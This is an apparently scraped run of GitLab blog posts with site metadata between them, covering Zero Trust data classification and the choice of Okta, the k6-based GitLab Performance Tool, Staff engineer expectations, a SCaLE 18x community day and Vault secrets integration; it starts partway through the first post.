reality._\n\nWarning: Video contains some strong language\n{: .note}\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/vI7_M04qpJ4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\nI discussed data classification challenges and specifically the fluidity of data in my ShmooCon talk and was met with a lot of hallway questions. More than one person asked for an example and wanted my opinion on how to classify the data. Hence this far-reaching question:\n\n### What do you mean that there are issues with the \"fluidity\" of data when it comes to data classification?\n\nIn an earlier blog post I did give an example of the fluidity of data, specifically when I talked about the movement of data in a section called (appropriately) [\"Movement of data\"](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/). Data fluidity is an issue because access to data is usually defined and enforced at the time of authentication. Waiting until the authentication stage causes problems if the data stays stationary while its classification changes rapidly. If you authenticate in the morning and have access to YELLOW data, but that data’s classification changes to RED in the afternoon, how do we enforce access controls if the user is only allowed access to YELLOW data? It is possible that you could move the data to a location intended for RED access only, or assign a user some type of access token specific to data based upon that data’s classification. But, you will need a solution that will scale and will additionally need to worry about whether data is being cloned, copied or archived. This is a question where it is much easier to explain the issue than solve it, and we are still looking for answers.\n\nThe concept of zones is a stop-gap until a better solution can be implemented. A data zone is comprised of data of different classifications, but with a single allow/deny method of access control. In other words, a data zone that contains both ORANGE and YELLOW data is ranked as an ORANGE ZONE since that is the highest level of data contained within it. Since we cannot specify granular access to the ORANGE ZONE resource, someone with YELLOW access cannot access the YELLOW data inside the ORANGE ZONE. The goal is to eliminate the zones so that we can define granular access to data. Most of the zones are set up to accommodate legacy systems into the data classification scheme and need to eventually be eliminated. This is, of course, a common problem in information technology – how do we move off of old systems onto new systems without disrupting existing processes and procedures. GitLab is very fortunate in that we have very few data zones compared to most companies, but it is always a problem when we encounter them.\n\nThe more advanced problem is that most technologies assign authorization to access data based upon the moment of initial user authentication. We want to eliminate data zones and we want to eliminate complexity. Making copies of data and storing a YELLOW version in one place and a RED version in another complicates things. Using an automated process that allows a non-privileged user to see privileged data also complicates things. The good news is that we are far enough in the Zero Trust process that we are dealing with this challenge. The bad news is we don’t have an answer yet but we’re still searching for something that works.\n\n\nWe get questions about our choice of vendors, mainly our choice of Okta as a major vendor for Zero Trust. Most organizations find it difficult to accept an approach where there is little or no competition in certain arenas, and in hallway conversations, people seemed alarmed that they’d be putting all of their digital eggs into a single digital basket. Some people have asked for an explanation as to why we are putting all of our end user identity in one basket:\n\n### You’re using Okta, what other tools did you look at? What didn’t meet your criteria?\n\nWe were looking for an [identity-management system](https://en.wikipedia.org/wiki/Identity-management_system) (IMS) that allows us to positively identify users during the authentication process. The IMS needed to have multi-factor authentication (MFA) capability and be able to support a lot of SaaS products. Okta gave us this and had a lot more features we’ve since started using. We also looked at products that mainly did MFA, but it was meeting those critical items along with a lot of extras we could take advantage of that clinched it.\n\nThe flexibility of Okta and the ability to implement something more than one way based upon user need was an unexpected benefit – MFA is an example. Some of our team members agreed to use U2F in the form of Yubikeys. This worked great, although some team members expressed concerns about possibly losing the keys or worried about the risk of leaving a low profile Yubikey plugged in all the time in case the entire laptop was lost or stolen. Since Okta’s MFA solutions also included the Okta Verify phone app that supported \"push\" technology, we could allow team members to have a choice in MFA methods. Team members could use the Yubikey or the push technology based upon what best suited their workflow, and we were able to get MFA implemented with team members actually using it. Allowing us to give team members a choice instead of simply forcing a method upon them leads to a happier adoption process, quicker overall implementation, and of course, a more secure work environment.\n\nMost vendors don’t offer the level of flexibility Okta does with their products or allow for that level of granularity with features when it comes to identity management, so there really were not a lot of other choices. Add in support for provisioning and de-provisioning for dozens of SaaS applications and it was obvious we’d get a great ROI.\n\n### How do you separate the hype from the fact when looking at Zero Trust?\n\nFirst off, for our implementation, we just identified what we wanted out of a security system that granted access to users, systems, and data. You can’t just say \"we want Zero Trust\" because every vendor claims to sell Zero Trust solutions. We used the [BeyondCorp paper](https://cloud.google.com/beyondcorp/) as an example of Google doing something for themselves, and not as a blueprint for us. We just looked for products that met our \"must-have\" list, and if it had a lot of \"nice to haves\" available that was great. It was even better if it had useful features we hadn’t even considered. So we ended up with Okta as a cornerstone for user identity and authentication, and now all products need to speak Okta, or at least support the protocols that Okta supports. That makes it easy, or at least easier to make things work together if we define a common bit of criteria - every solution must tie into Okta.\n\nThe hard part is that user identity and authentication is only one part of the picture. We need to do end-user device identity and authentication. We need to assign identity to running processes, including those kicked off by users, and those fully automated and triggered by events. And, getting into non-Zero Trust territory but still very much in line with our goals, we want to be able to audit all of our controls. We want to be able to log everything and search those logs for anomalies. Therefore we have to make sure that any Zero Trust solution can support auditing and logging.\n\n\n**What do you want to know? Do you have your own questions? Let us know!**\nWe’re still moving forward as our Zero Trust implementation is a work in progress. As we hit milestones, we will continue to update you with new blogs with hopefully new solutions and processes that work. Right now we’re deploying a solution for SSH by using Okta ASA, and we’re still tackling our asset management, so expect news from those fronts in upcoming blog posts!\n\n\n\nCover image by [Lysander Yuen](https://unsplash.com/@lysanderyuen?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com).\n{: .note}\n",[676,674,6141],{"slug":24880,"featured":6,"template":678},"questions-regarding-our-zero-trust-efforts","content:en-us:blog:questions-regarding-our-zero-trust-efforts.yml","Questions Regarding Our Zero Trust Efforts","en-us/blog/questions-regarding-our-zero-trust-efforts.yml","en-us/blog/questions-regarding-our-zero-trust-efforts",{"_path":24886,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24887,"content":24893,"config":24899,"_id":24901,"_type":16,"title":24902,"_source":17,"_file":24903,"_stem":24904,"_extension":20},"/en-us/blog/how-were-building-up-performance-testing-of-gitlab",{"title":24888,"description":24889,"ogTitle":24888,"ogDescription":24889,"noIndex":6,"ogImage":24890,"ogUrl":24891,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24891,"schema":24892},"How GitLab's QA Team Leverages Performance Testing Tools","We built our open source GitLab Performance tool to evaluate pain points and implement solutions on every GitLab environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681087/Blog/Hero%20Images/performance-server-front.jpg","https://about.gitlab.com/blog/how-were-building-up-performance-testing-of-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How our QA team leverages GitLab’s performance testing tool (and you can too)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grant Young\"}],\n        \"datePublished\": \"2020-02-18\",\n      }",{"title":24894,"description":24889,"authors":24895,"heroImage":24890,"date":24896,"body":24897,"category":734,"tags":24898},"How our QA team leverages GitLab’s performance testing tool (and you can too)",[4300],"2020-02-18","\n\nWe’ve set up several initiatives aimed at testing and improving the performance of GitLab, which is why the Quality team built a new tool to test GitLab's performance.\n\nPerformance testing is an involved process and distinct from other testing disciplines. The strategies and tooling in this space are specialized and require dedicated resources to achieve results. When I joined the company and became the first member of this team, the task was to expand our nascent performance efforts to a much larger scale. For this, we needed to build out a new tool that we aptly named the [GitLab Performance tool](https://gitlab.com/gitlab-org/quality/performance) (GPT).\n\nWe're happy to announce the general release of [GPT](https://gitlab.com/gitlab-org/quality/performance/-/releases). In this blog post, we'll share how GPT is used to performance test GitLab, and how you can use it as well to test your own environments.\n\nHowever, before we get into what the GPT is, we need to first touch on what we use it with.\n\n## Reference Architectures and test data\n\nIn our experience, the challenging part of performance testing isn’t actually to do with the testing itself, but instead configuring the right environments and data to test against.\n\nAs such, one of the initiatives we’ve been driving is the design of several [GitLab Reference Architectures](https://docs.gitlab.com/ee/administration/reference_architectures/index.html#available-reference-architectures) that can handle large numbers of users. We wanted to create these architectures as a way to standardize our recommended configurations to ensure we were presenting customers with options for performant, scalable, and highly available GitLab setups.\n\nIn order to create a tool like this, we needed to add realistic data into these environments to test against, e.g., large projects with commits and merge requests. As a first iteration, we started with our very own GitLab project.\n\nOnce we got our environments running and configured we were ready to test them with the GPT.\n\n## What is the GitLab Performance tool (GPT)?\n\nThe GPT can be used to run numerous load tests to verify the performance of any GitLab environment. All that’s required is to a knowledge of what throughput the intended environment can handle (as requests per second) and to ensure that the environment has the necessary data prepared.\n\nThe GPT is built upon one of the leading tools in the industry, [k6](https://k6.io/). Here are some examples of what the GPT provides:\n\n* A broad test suite that comes out-of-the-box and covers various endpoints across the GitLab product with added ability to add your own custom tests as desired. [See the latest out-of-the-box test details](https://gitlab.com/gitlab-org/quality/performance/-/wikis/current-test-details) with more being added frequently.\n* [Options](https://gitlab.com/gitlab-org/quality/performance/-/blob/master/docs/k6.md#options) for customizing test runs, such as specifying desired GitLab environment data or defining what throughput to use with default examples given.\n* [Ability to run multiple tests sequentially as well as be selective about which are chosen](https://gitlab.com/gitlab-org/quality/performance/-/blob/master/docs/k6.md#running-the-tests-with-the-tool).\n* [Enhanced reporting and logging](https://gitlab.com/gitlab-org/quality/performance/-/blob/master/docs/k6.md#running-the-tests-with-the-tool).\n* [Built-in test success thresholds](https://gitlab.com/gitlab-org/quality/performance/-/blob/master/docs/k6.md#test-thresholds) based on [time to first byte](https://en.wikipedia.org/wiki/Time_to_first_byte), throughput achieved and successful responses.\n\nThe talented team at [Load Impact](https://loadimpact.com/) created [k6](https://k6.io/), which is the core of the GPT. We realized quickly that we didn’t need to reinvent the wheel because k6 met most of our needs: It is written in Go, so is very performant and is an open source solution. Thanks to the team for not only developing k6 but also for reaching out to us soon after we started to collaborate.\n\n## How we use GPT\n\nWe use the GPT in several automated [GitLab CI pipelines](/blog/guide-to-ci-cd-pipelines/) for quick feedback on how GitLab is performing. The CI pipelines typically run daily or weekly against our reference architecture environments, which themselves are running on the latest pre-release code. We review the test results as they come in and then investigate any failures. In line with our [Transparency value](https://handbook.gitlab.com/handbook/values/#transparency), we also publish all of the [latest results](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest) for anyone to view on the [GPT wiki](https://gitlab.com/gitlab-org/quality/performance/-/wikis/home).\n\nThe GPT is also used in a comparison test pipeline to see how GitLab’s performance changes in every release cycle. These results are important because they show the whole picture of our performance evolution. The [benchmark comparison results](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/GitLab-Versions) are also available on the [GPT wiki](https://gitlab.com/gitlab-org/quality/performance/-/wikis/home).\n\nBy using the GPT, we’ve been able to identify several performance pain points of GitLab and collaborate with our dev teams to prioritize improvements. The process has been fruitful so far and we’re excited to already see improvements in the performance numbers with each release of GitLab. The 12.6 release for example showed [several notable improvements across the board](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/GitLab-Versions#comparisions), one even as high as a 92% reduction! You can see the issues we've raised so far through this work over on our [issue tracker](https://gitlab.com/gitlab-org/gitlab/issues?scope=all&utf8=%E2%9C%93&state=all&label_name[]=Quality%3Aperformance-issues).\n\n## How you can use GPT\n\nWe decided early that we wanted to follow the same open source principles as our main product, so we build the GPT with all users in mind rather than making it a strictly internal tool. So not only do we let others use it, we encourage it! This is beneficial for us and customers, as we receive feedback from diverse viewpoints that we hadn’t considered. Some examples of this are [improving the recommended spec guidelines based on throughput](https://gitlab.com/gitlab-org/quality/performance/issues/172) or [making it easier for users who have private clouds to use the GPT offline](https://gitlab.com/gitlab-org/quality/performance/issues/106).\n\nIf you want to use the GPT for yourself, the best place to start is with its [documentation](https://gitlab.com/gitlab-org/quality/performance#documentation). As mentioned earlier, most of the effort to use the GPT is preparing the intended environment. The docs will take you through this along with how to use the tool itself.\n\n## The GPT in action\n\nFinally after writing all about the GPT we should actually show it in action. Here's how it looks when running a load test for the [List Group Projects API](https://docs.gitlab.com/ee/api/groups.html#list-a-groups-projects) against our [10k Reference Architecture](https://docs.gitlab.com/ee/administration/reference_architectures/10k_users.html):\n\n[![asciicast](https://asciinema.org/a/O96Wc5fyxvLb1IDyviTwbujg8.svg)](https://asciinema.org/a/O96Wc5fyxvLb1IDyviTwbujg8?autoplay=1)\n\nRead the GPT [documentation](https://gitlab.com/gitlab-org/quality/performance/blob/master/docs/k6.md#test-output-and-results) for more details on output and results.\n\n## What’s next?\n\nOur aim is to make GitLab’s performance best in class. This is only the start of our performance testing journey with GPT and we are excited about the additional ways we can continue to help improve the customer experience.\n\n[Some examples of our plans for the next few releases](https://gitlab.com/gitlab-org/quality/performance/issues) include expanding test coverage to more of GitLab’s features and entry points (API, Web, Git) and expanding our work on the reference architectures, test data, and user behavior patterns to be as representative and realistic as possible.\n\nShare your feedback and/or suggestions on GPT here or on our [GPT project](https://gitlab.com/gitlab-org/quality/performance)! We welcome your ideas or contributions.\n\nCover image by [Taylor Vick](https://unsplash.com/@tvick?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/server?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[1268,942],{"slug":24900,"featured":6,"template":678},"how-were-building-up-performance-testing-of-gitlab","content:en-us:blog:how-were-building-up-performance-testing-of-gitlab.yml","How Were Building Up Performance Testing Of Gitlab","en-us/blog/how-were-building-up-performance-testing-of-gitlab.yml","en-us/blog/how-were-building-up-performance-testing-of-gitlab",{"_path":24906,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24907,"content":24913,"config":24918,"_id":24920,"_type":16,"title":24921,"_source":17,"_file":24922,"_stem":24923,"_extension":20},"/en-us/blog/staff-level-engineering-at-gitlab",{"title":24908,"description":24909,"ogTitle":24908,"ogDescription":24909,"noIndex":6,"ogImage":24910,"ogUrl":24911,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24911,"schema":24912},"What does Staff level mean at GitLab?","Get a multifaceted view of Staff level Engineering at GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681092/Blog/Hero%20Images/staff-engineering.jpg","https://about.gitlab.com/blog/staff-level-engineering-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What does Staff level mean at GitLab?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Charlie Ablett\"}],\n        \"datePublished\": \"2020-02-18\",\n      }",{"title":24908,"description":24909,"authors":24914,"heroImage":24910,"date":24896,"body":24916,"category":18484,"tags":24917},[24915],"Charlie Ablett","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## What does Staff level mean at GitLab?\n\nAt GitLab, [Backend Engineers](https://handbook.gitlab.com/job-families/engineering/backend-engineer/) and [Frontend Engineers](https://handbook.gitlab.com/job-families/engineering/development/frontend/)\nwork together with Product, Design, Quality, and Security to improve the product and address technical challenges.\nAt the [Senior](https://handbook.gitlab.com/job-families/engineering/backend-engineer/#senior-backend-engineer) level,\nthey are expected to address the most complex challenges within their engineering team, as well as help their team members with technical blockers and process improvements.\n\nWhen considering a [career path or direction](/handbook/engineering/career-development/#roles) within GitLab,\nSenior Engineers — both Backend and Frontend — can choose either to advance on the management track to become an [Engineering Manager](https://handbook.gitlab.com/job-families/engineering/engineering-management/),\nor on the individual contributor (technical) track to become a [Staff Backend Engineer](https://handbook.gitlab.com/job-families/engineering/backend-engineer/#staff-backend-engineer)\nor [Staff Frontend Engineer](https://handbook.gitlab.com/job-families/engineering/development/frontend/staff/).\nEach job description gives some idea of the responsibilities of a Staff Engineer role, but how does that look in practice?\n\nCurrent and previous Staff Backend Engineers and Engineering Managers kindly agreed to talk to me in a series of one-on-one interviews.\nAs someone considering the technical track to become a Staff Backend Engineer, I wanted to find out what exactly it entails.\nMuch of what each engineer said overlapped, but each had a unique perspective based on their team and their particular experience within GitLab as an entity.\n\n**note**: The following is based on the experience of Staff backend engineers at GitLab, but there will be future\nexplorations into the world of Staff level of Design, Technical Writing, and other positions that can be Staff.\n\nThe following sums up the perspective of each of the engineers, with my takeaway _in italics_.\n\n## What Staff Backend Engineers said\n\n[**Jacob Vosmaer**, @jacobvosmaer-gitlab](https://gitlab.com/jacobvosmaer-gitlab) (Amsterdam, the Netherlands), leverages his chronological knowledge of GitLab from when it was small enough to be understood by one person.\nThis gives him the foundation to understand the product from a systemic perspective.\nGitLab is now an [enterprise-scale](/enterprise/) complex project, and uses many third-party open-source libraries as part of its product.\n\u003Cbr/>\n_A Staff Engineer can recognize a good solution when they see one, and able to clearly explain its merits to other engineers, community members, managers or customers._\n\n[**Sean McGivern**, @smcgivern](https://gitlab.com/smcgivern) (Edinburgh, Scotland) provided some historical context - Staff used to mean a role specifically on a team, but now it's more of a multidisciplinary role.\nThe impact of Staff Engineers is predicated not purely on advanced technical skill, but their ability to collaborate across teams.\nAs a former Engineering Manager, he identified an overlap between the leadership skills and time management skills required by Staff Engineers and Engineering Managers.\n\u003Cbr/>\n_A Staff Engineer has a broad skill-set with in-depth expertise in several areas (see ['Paint Drip' people](https://www.facebook.com/notes/kent-beck/paint-drip-people/1226700000696195/)*)._\n\n[**Ash McKenzie**, @ashmckenzie](https://gitlab.com/ashmckenzie) (Geelong, Australia) noted that reaching beyond his team can mean finding and identifying a niche that needs a champion, and working to improve it without oversight.\nIn Ash's case, his high-leverage work on the GitLab Development Kit (GDK) means he can help every person working on the GitLab codebase to become more efficient by removing technical blockers in the GDK itself.\n\u003Cbr/>\n_A Staff Engineer leverages their increasingly on-demand time to help others, efficiently unblock them and enable them to move forward._\n\n[**Nick Thomas**, @nick.thomas](https://gitlab.com/nick.thomas) (Shetland, Scotland) identified that one way to thrive at the Staff level was to identify systemic improvements.\nThis may involve slow, steady identification of system-level challenges, rather than solving immediate time-sensitive issues.\n\u003Cbr/>\n_A Staff Engineer is asked for technical opinions more often than at Senior level, and it allows them to have a greater technical and cultural impact._\n\n[**Andreas Brandl**, @abrandl](https://gitlab.com/abrandl) (Hamburg, Germany) noted that levels above Senior require increasing familiarity with the company, processes and culture in order to thrive.\nBecause GitLab encourages anyone in the company to [question anything](https://handbook.gitlab.com/handbook/values/#anyone-and-anything-can-be-questioned), it allows dynamic, iterative improvements to processes.\nStaff level engineers can demonstrate this publicly and encourage, enable and support others to do the same.\n\u003Cbr/>\n_A Staff Engineer questions anything, looks for process improvements and encourages the documentation of processes for clarity and transparency._\n\n[**Dylan Griffith**, @DylanGriffith](https://gitlab.com/DylanGriffith) (Sydney, Australia) emphasized the role of reaching out beyond your team and collaborating with others across GitLab and in the wider community.\nBy familiarising themselves with the vision of the product itself as well as its business value, this allows Staff Engineers the ability to better identify cross-team issues that may have escaped notice.\n\u003Cbr/>\n_A Staff Engineer identifies and addresses cross-team problems that may otherwise fall through the cracks and liaises with management, Product and customers to steward delivery to completion._\n\n[**Fabien Catteau**, @fcatteau](https://gitlab.com/fcatteau) (Compiègne, France) focused on knowledge management and transfer within the context of a broader technological vision, which complements the Product vision.\nSince GitLab is an enterprise-scale product, nobody can know everything - so Staff level engineers balance sharing what they know and being comfortable with asking for help.\nIt's important to understand what skills and knowledge are missing from a discussion, reaching out to who knows the missing piece, and bringing them into the conversation.\n\u003Cbr/>\n_A Staff level engineer not only focuses on constantly improving their own knowledge of the product, but enthusiastically empowers other developers to do the same._\n\n[**Rémy Coutable**, @rymai](https://gitlab.com/rymai) (Cannes, France) spoke particularly on having the courage to address problems outside your team or area of expertise.\nAs a Staff level engineer, your ability to show the values by example is amplified.\nVisibly asking for help and bringing in experts from other area of the product encourages others to do the same.\n\u003Cbr/>\n_A Staff Engineer reaches beyond immediate technical needs, independently considering the longer-term, and is always looking beyond for ways to have a broad impact._\n\n[**Grzegorz Bizon**, @grzesiek](https://gitlab.com/grzesiek) (Olsztyn, Poland) explained the difference between Senior and Staff as not much different technically,\nbut a Staff level engineer collaborates more with other team members and leverages their understanding of human nature to broaden their impact across the product.\nHe emphasised kindness as one of the most important values, and at Staff level there is greater opportunity, and responsibility, to help others.\n\u003Cbr/>\n_A Staff Engineer is kind, supporting others and helping them grow and succeed in a holistic way, not just limited to technical help._\n\n[**Rachel Nienaber**, @rnienaber](https://gitlab.com/rnienaber) (London, UK) has a unique perspective as an Engineering Manager who has helped multiple Engineers attain promotions, including one to Staff level.\nShe emphasised leveraging leadership competencies to facilitate technological discussions and either owning or delegating projects to completion.\nUsing your voice in technical discussion is like a muscle - the more you use it, the more natural the activity feels and the more confident you will become to contribute more often.\nSo she encourages all engineers to contribute in discussions, even if they aren't always 100% certain.\n\u003Cbr/>\n_A Staff Engineer dovetails technical strategy to product strategy, helping the team to be more productive while interfacing with other teams._\n\n[**Yorick Peterse**, @yorickpeterse](https://gitlab.com/yorickpeterse) (Hilversum, the Netherlands) described Staff level Engineering in terms of anticipating future needs and understanding the broader technical vision of the product.\nTo him, Staff level engineers proactively identify problems, define scope and work with stakeholders, Product and team management.\nThe expectations of quality, technical acumen and communication skills are higher once an engineer hits Staff level, as well as ongoing collaboration outside the team.\n\u003Cbr/>\n_A Staff Engineer bridges the gap between Management focusing on capacity planning and timing for the future, and individual contributors carrying out the work._\n\n",[232],{"slug":24919,"featured":6,"template":678},"staff-level-engineering-at-gitlab","content:en-us:blog:staff-level-engineering-at-gitlab.yml","Staff Level Engineering At Gitlab","en-us/blog/staff-level-engineering-at-gitlab.yml","en-us/blog/staff-level-engineering-at-gitlab",{"_path":24925,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24926,"content":24931,"config":24936,"_id":24938,"_type":16,"title":24939,"_source":17,"_file":24940,"_stem":24941,"_extension":20},"/en-us/blog/gitlab-at-scale",{"title":24927,"description":24928,"ogTitle":24927,"ogDescription":24928,"noIndex":6,"ogImage":19778,"ogUrl":24929,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24929,"schema":24930},"Join the GitLab Community Day at SCaLE 18x!","If you're attending SCaLE 18x, here's how you can find the GitLab community at the event.","https://about.gitlab.com/blog/gitlab-at-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join the GitLab Community Day at SCaLE 18x!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2020-02-17\",\n      }",{"title":24927,"description":24928,"authors":24932,"heroImage":19778,"date":24933,"body":24934,"category":18484,"tags":24935},[21623],"2020-02-17","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nWe just returned from [FOSDEM](https://fosdem.org/2020/), where we had a great time meeting with and talking to GitLab community members. We will be on the road again to Southern California in a few weeks at [SCaLE 18x](https://www.socallinuxexpo.org/scale/18x), and hope to meet with wider GitLab community members at the event! If you are not familiar with SCaLE, it is the largest volunteer-organized open-source and free software event in North America. This year will be the 18th edition of the conference, and the SCaLE team provided us with a 40% discount code for GitLab community. When you [register](https://register.socallinuxexpo.org/reg6/), you can use the code `GIT` for the discount!\n\n### GitLab Community Day\n\nThis year, we are organizing a [GitLab Community Day](https://www.socallinuxexpo.org/scale/18x/gitlab-community-day), where we will have a discussion on resources for the wider community, a hands-on workshop on how you can contribute to GitLab, and a tutorial on how to use GitLab.\n\nSeveral team members from the [GitLab Developer Relations team](https://about.gitlab.com/company/team/?department=community-relations) will be at SCaLE 18x this time around. If you're interested in learning more about GitLab's programs for supporting code contributors, educational institutions, evangelists, open source communities, and more, we'd love to meet you in person.\n\n- **WHEN**: Friday, March 6th, from 1:30 p.m to 5:30 p.m. \n- **WHERE**: **Ballroom F** at the Pasadena Convention Center\n\nYou can find more information on topics and speakers on the [Gitlab Community Day issue](https://gitlab.com/gitlab-com/marketing/community-relations/evangelist-program/general/issues/900). You are welcome to add feedback or suggestions directly on the issue.  \n\n### DevOpsDay LA \n\nGitLab will again be a sponsor for [DevOpsDay LA](https://www.socallinuxexpo.org/scale/18x/devopsday-la) at SCaLE, and we will have a **GitLab booth** in the DevOpsDay LA exhibit area on March 6th. If you want to come talk to GitLab team members about anything DevOps, please swing by our booth and checkout some GitLab swag. Speaking of swag, there will also be a raffle at 3:35pm where the winner will get a Nintendo Switch! So, please be sure to enter the raffle while you visit the GitLab booth. \n\n- **WHEN**: Friday, March 6th, all day \n- **WHERE**: **Ballroom DE** at the Pasadena Convention Center\n\n\n### Talks given by GitLab team members at SCaLE 18x\n\nA couple of GitLab team members will be speaking at the conference:\n\n- On Friday March 6th, [Francis Potter](https://gitlab.com/francispotter) will discuss [The Future of DevOps and the Importance of Right-to-Left Thinking](https://www.socallinuxexpo.org/scale/18x/presentations/future-devops-and-importance-right-left-thinking) in the DevOps track.\n- On Saturday March 7th, I ([Ray Paik](https://gitlab.com/rpaik)) will be talking about [Building a thriving community in (for-profit) open source projects](https://www.socallinuxexpo.org/scale/18x/presentations/building-thriving-community-profit-open-source-projects) in the Mentoring track. \n\n\n\nPlease come say hi 👋 at SCaLE, and we look forward to seeing many of you in sunny Southern California!\n",[267,2368,815],{"slug":24937,"featured":6,"template":678},"gitlab-at-scale","content:en-us:blog:gitlab-at-scale.yml","Gitlab At Scale","en-us/blog/gitlab-at-scale.yml","en-us/blog/gitlab-at-scale",{"_path":24943,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24944,"content":24950,"config":24955,"_id":24957,"_type":16,"title":24958,"_source":17,"_file":24959,"_stem":24960,"_extension":20},"/en-us/blog/vault-integration-process",{"title":24945,"description":24946,"ogTitle":24945,"ogDescription":24946,"noIndex":6,"ogImage":24947,"ogUrl":24948,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24948,"schema":24949},"How we’ll simplify Vault access for GitLab CI/CD users","CEO Sid Sijbrandij and senior product manager Thao Yeager discuss the easiest way to bring Vault access to GitLab customers. Hint: it involves a minimum viable change.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681067/Blog/Hero%20Images/vaultintegration.jpg","https://about.gitlab.com/blog/vault-integration-process","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we’ll simplify Vault access for GitLab CI/CD users\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-02-13\",\n      }",{"title":24945,"description":24946,"authors":24951,"heroImage":24947,"date":24952,"body":24953,"category":736,"tags":24954},[11618],"2020-02-13","\n\nIn the increasingly complex and secret-filled world of software development, companies must decide how to simplify access to the secure data necessary to [run CI/CD](/topics/ci-cd/) jobs. [HashiCorp’s Vault](https://www.vaultproject.io/docs/what-is-vault/) is a solution many organizations have chosen to manage their secret storage, but what’s the best way to request Vault tokens without slowing down software development?\n\nGitLab CEO [Sid Sijbrandij](/company/team/#sytses) recently sat down to speak with [Thao Yeager](/company/team/#thaoyeager), senior product manager, Verify: Templates and [Jackie Meshell](/company/team/#jmeshell), senior product manager,  to discuss how our customers using Vault could best get access to their stored variables within GitLab. On the table were two options that would provide a [“minimum viable change” or MVC](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) – a key part of our [core value of iteration](/blog/power-of-iteration/) and a strategy we believe enables us to move more quickly.\n\nThe two options on the table were to either use [GitLab Runner](https://docs.gitlab.com/runner/) to fetch tokens that are stored in Vault or to do a [Rails integration](/blog/why-we-use-rails-to-build-gitlab/) with Vault. \n\n## Rotate if you can't hide\n\nIn earlier days, Sid recalls “secrets management” used to be about making sure people simply didn’t find them out. That’s not practical any longer. “It’s super hard never to push a secret in your repository and have it end up somewhere,” he says. “It’s almost impossible. It ends up in the logs. They radiate everywhere.”\n\nToday’s secret management involves rotating and updating secrets as often as necessary. It can be tricky to put all the pieces together.\n\nIt starts with Vault, which Sid sees as just another data store, like a database but one just focused on secrets. “We should use Vault for secrets because it’s starting to become the standard for that,” he says. But we can also no longer assume that secrets will always remain safe, and thus it’s key to be able to rotate them. “At some point you’re going to have a breach and they’re going to find out all your secrets,” he says. Rotation is a way “secrets can get back to a state where they’re secrets again,” Sid says, adding that Vault is very good for rotation and access control.\n\n> Secrets management used to be about making sure people simply didn’t find them out. That’s not practical any longer.\n\nIt’s clear to Sid that GitLab’s super sensitive data should be separated into Vault. “We can better secure (Vault). For example, we can [rate limit](https://docs.gitlab.com/ee/security/rate_limits.html). If we’re going to rate limit our Rails app calls to the database that would involve dealing with an enormous amount of traffic. If we just have the secrets in Vault, it’s a much more limited set of traffic.” One other advantage: Vault has way less surface area than our Rails app or our database, Sid explains. “(Vault) is complex to run but the surface area is smaller.”\n\n## A simpler solution\n\nWith Vault on the backend holding the secrets, Sid thinks a simple runner – instructed by Rails – is the right MVC to move this project forward. It was not necessary to do the more complicated Rails integration. “All of the logic is in the Rails app and then it sends it off to the runner with ‘Ok, run the script.’” This solution keeps the complexity in the Rails app, which works because “Ruby is great for all that complexity,” Sid says. The runner can be something simple that lives on multiple platforms. “The last thing we want is the runner to have more dependencies and more complexity.”\n\nUltimately Sid expects customers will want to use their own Vault installations, but for now that reality is complicated. Integrating GitLab with Vault is the more straightforward solution for the time being. And it’s certainly the safest: Vault won’t give out the same credential twice and the credentials have a very short life span, two things that will make a breach less dangerous, Sid says. “You will never have another secret that can’t be rotated,” Sid says. “Every secret is able to be rotated so you can always push that button. That's the future we're working towards and we should make that future easier for our users to adopt.”\n\nWatch the entire video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9kD3geEmSJ8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Chris Barbalis](https://unsplash.com/@cbarbalis) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,674,232],{"slug":24956,"featured":6,"template":678},"vault-integration-process","content:en-us:blog:vault-integration-process.yml","Vault Integration 